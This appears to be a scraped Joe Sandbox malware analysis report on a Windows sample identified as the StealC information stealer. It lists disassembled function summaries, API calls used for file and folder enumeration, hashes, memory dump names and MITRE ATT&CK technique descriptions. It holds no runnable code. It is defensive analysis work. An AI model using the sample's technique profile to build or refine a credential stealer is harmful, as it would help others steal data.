Opcode ID: 3db8a3349c6aa84a1d59d11132d9ca7b9edc0e2c82c62a49132cf3dd0ad54647
Instruction ID: 8e2cbf19dd493d2b1d3ba30ac518c0e96a9be8877080c3187ba6e4876b897745
Opcode Fuzzy Hash: 3db8a3349c6aa84a1d59d11132d9ca7b9edc0e2c82c62a49132cf3dd0ad54647
Instruction Fuzzy Hash: 5C1115B2904118ABCB149FC9ED49FBEB7F8EB48B15F10421AF605A2280E2395940DBB1

Function 0009C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0009C74E

Part of subcall function 0009BF9F: __amsg_exit.LIBCMT ref: 0009BFAF

__getptd.LIBCMT ref: 0009C765
__amsg_exit.LIBCMT ref: 0009C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0009C797

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: eb81484084110f7b2f6be819198dc62ad258f09fa79ae0786887f068fd011611
Instruction ID: 20987f5c33e9b1e45bdf8ca57ce5139b357ad4d64892f984acd7f8c05e315e59
Opcode Fuzzy Hash: eb81484084110f7b2f6be819198dc62ad258f09fa79ae0786887f068fd011611
Instruction Fuzzy Hash: 35F09032E08A009BFF60BBF86946B9D73E06F01720F204159F404A61D3DB645940BE96

Function 00094F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00098DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00098E0B

lstrcat.KERNEL32(?,00000000), ref: 00094F7A
lstrcat.KERNEL32(?,000A1070), ref: 00094F97
lstrcat.KERNEL32(?,00D389E8), ref: 00094FAB
lstrcat.KERNEL32(?,000A1074), ref: 00094FBD

Part of subcall function 00094910: wsprintfA.USER32 ref: 0009492C
Part of subcall function 00094910: FindFirstFileA.KERNEL32(?,?), ref: 00094943

Part of subcall function 00094910: StrCmpCA.SHLWAPI(?,000A0FDC), ref: 00094971
Part of subcall function 00094910: StrCmpCA.SHLWAPI(?,000A0FE0), ref: 00094987
Part of subcall function 00094910: FindNextFileA.KERNEL32(000000FF,?), ref: 00094B7D
Part of subcall function 00094910: FindClose.KERNEL32(000000FF), ref: 00094B92

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: f2f787d6057ca9b9c4330dd4638f931d757373cccbfa7bbdc7147fb29a515c43
Instruction ID: fd3f79142ff3f8f7f962b8dce798fb5b6a4abaf9f7d6354cbb23d188d7af0a41
Opcode Fuzzy Hash: f2f787d6057ca9b9c4330dd4638f931d757373cccbfa7bbdc7147fb29a515c43
Instruction Fuzzy Hash: F821AD7690020CA7CB54F7B0FC4AEED333CAB55304F404558B65997182EE7596C9CB93

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00099860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 000845C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00084880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00099C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00086280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00095510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 000917A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00097500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 000969F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00081220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00096AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 000847B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 000951F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON